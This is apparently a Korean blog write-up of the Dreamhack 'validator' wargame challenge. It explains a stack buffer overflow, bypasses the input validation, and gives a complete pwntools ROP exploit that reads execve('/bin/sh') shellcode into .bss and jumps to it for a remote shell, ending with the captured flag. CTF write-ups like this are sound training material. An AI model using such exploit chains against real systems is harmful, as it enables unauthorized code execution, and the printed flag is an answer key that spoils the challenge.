본문 바로가기

Wargame/Dreamhack

[Dreamhack] validator

 

 

코드가 없어서 당황했다.

코드는 IDA로 열면 구할 수 있다.

 

 

적용된 보호 기법이 없다.

ROP, shellcode execute, GOT overwrite 모두 가능하다.

 

 

validator_dist

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[128]; // [rsp+0h] [rbp-80h] BYREF

  memset(s, 0, 0x10uLL);
  read(0, s, 0x400uLL);
  validate((__int64)s, 0x80uLL);
  return 0;
}

 

S[128]에 read(0, s, 0x400)로 입력을 하니 BOF 발생

valiadate(s, 128) 함수를 호출

 

 

validator_server

 

__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  signed int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((signed int)i + a1) != correct[i] )	// corret = "DREAMHACK!"
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}

 

a1, 즉 main에서 입력한 s가 만족해야할 두 가지 조건은 아래와 같다.

 

0 <= i < 10 일 때, a1 [ i ] == correst [ i ]    

0 <= j < a2 일 때, char( a1 [ j ] ) == char( a1 [ j + 1 ] ) + 1

 

문자열 처음 10 글자는 DREAMHACK!

문자열 12번째부터 128번째 글자까지는 s[i] = s[i+1] + 1

가령 12번째 글자가 b이면 13번째 글자는 a여야 한다.

128번째 글자가 b이면 129번째 글자는 a여야 한다.

큰 숫자부터 내림차순으로 1바이트씩 payload에 추가하는 방식으로 작성하면 되겠다.

 

 

 

 

ROPgadget --binary ./validator_dist | grep 'pop rdi ; ret'

 

ROP을 수행하기 위해 필요한 pop_rdi, pop_rsi_r15, pop_rdx 주소는 ROPgadget 명령으로 확인

 

from pwn import *

p = remote("host3.dreamhack.games", 8894)
e = ELF("validator_server")
r = ROP(e)

context.arch = "amd64"

shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))

# find gadget
read_plt = e.plt["read"]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_pop_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]
bss = e.bss()

# logic bypass
payload = b"DREAMHACK!"
list = []

for i in range(118, -1, -1):
        list.append(i)

payload += bytes(list)
payload += b"B"*7

# read
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(bss) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode)+1)
payload += p64(read_plt)

# call exit()
payload += p64(bss)

sleep(0.5)
p.send(payload)
sleep(0.5)
p.send(shellcode)

p.interactive()

 

 

 

DH{e6ab8f1142a49e47bdb29933c6a3ba6f6f3576b165c45ce477d64b7d6192b3d3}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] ssp_000  (0) 2024.03.25
[Dreamhack] cmd_center  (0) 2023.11.25
[Dreamhack] sint  (0) 2023.11.25
[Dreamhack] tcache_dup  (0) 2023.11.19
[Dreamhack] uaf_overwrite  (0) 2023.11.11